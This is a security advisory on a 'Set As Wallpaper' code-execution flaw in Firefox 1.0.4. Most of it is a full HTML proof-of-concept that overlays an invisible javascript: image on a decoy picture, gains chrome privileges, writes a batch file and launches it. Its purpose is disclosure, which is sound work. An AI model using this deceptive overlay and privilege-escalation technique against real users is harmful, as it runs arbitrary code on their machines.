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Mozilla Firefox "Set As Wallpaper" Code Execution Exploit
------------------------------------------------------------------------
SUMMARY
<> Mozilla Firefox is a free, cross-platform, graphical web browser
developed by the Mozilla Foundation and hundreds of volunteers.
An error in the handling of wallpapers in Mozilla Firefoxcould be
exploited by attackers to run arbitary code on a vulnerable system by
convincing a user to use the "Set As Wallpaper" context menu item on a
specially crafted image.
DETAILS
Vulnerable Systems:
* Mozilla Firefox version 1.0.4
Immune Systems:
* Mozilla Firefox version 1.0.5
The "Set As Wallpaper" dialog takes the image url as a parameter without
validating it. This allows to execute javascript in chrome and to run
arbitrary code. By using absolute positioning and the moz-opacity filter
an attacker can easily fool the user to think he is setting a valid image
as wallpaper.
Exploit Code:
// Exploit by Michael Krax
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Firewalling - Proof-of-Concept</title>
<script>
function stopload() {
// in some cases the javascript url never stops to load
// therefore we force a stop after the real image got loaded
window.setTimeout("window.stop()",1000);
}
</script>
</head>
<body>
<div style="font-family:Verdana;font-size:11px;">
<div style="font-family:Verdana;font-size:15px;font-weight:bold;">
Firewalling - Proof-of-Concept</div>
<div style="width:600px">
The "Set As Wallpaper" dialog takes the image url as a parameter without
validating it.
This allows to execute javascript in chrome and to run arbitrary code.
<br><br>
By using absolute positioning and the moz-opacity filter an attacker can
easily fool the
user to think he is setting a valid image as wallpaper.
<br><br>
Right click on the image and choose "Set As Wallpaper". The demo requests
UniversalXPConnect rights, creates c:\booom.bat and launches the batch
file
that shows a directoy listing in a dos box (Windows only).
<br><br>
<div style="position:relative; width:300px; height:250px;">
<img
src="javascript:/*-----------------------------*/eval('if(document.location.href.
substr(0,6)==\'chrome\'){netscape.security.PrivilegeManager.enablePrivilege(\'
UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].
createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'c:\\\\
booom.bat\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,
420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;
1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init
(file,0x04|0x08|0x20,420,0);output=\'@ECHO
OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE
\\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch
();}else{void(0)}')" width="300" height="250" alt="" border="0"
style="position:
absolute; left:0px; top:0px; z-index:2; -moz-opacity:0;">
<img src="image.png" width="300" height="250" alt="" border="0"
style="position:
absolute; left:0px; top:0px; z-index:1;" onload="stopload()">
</div>
</div>
</body>
</html>
ADDITIONAL INFORMATION
The original article can be found at:
<http://www.frsirt.com/exploits/20050712.mfsa2005-47exploit.php>
http://www.frsirt.com/exploits/20050712.mfsa2005-47exploit.php
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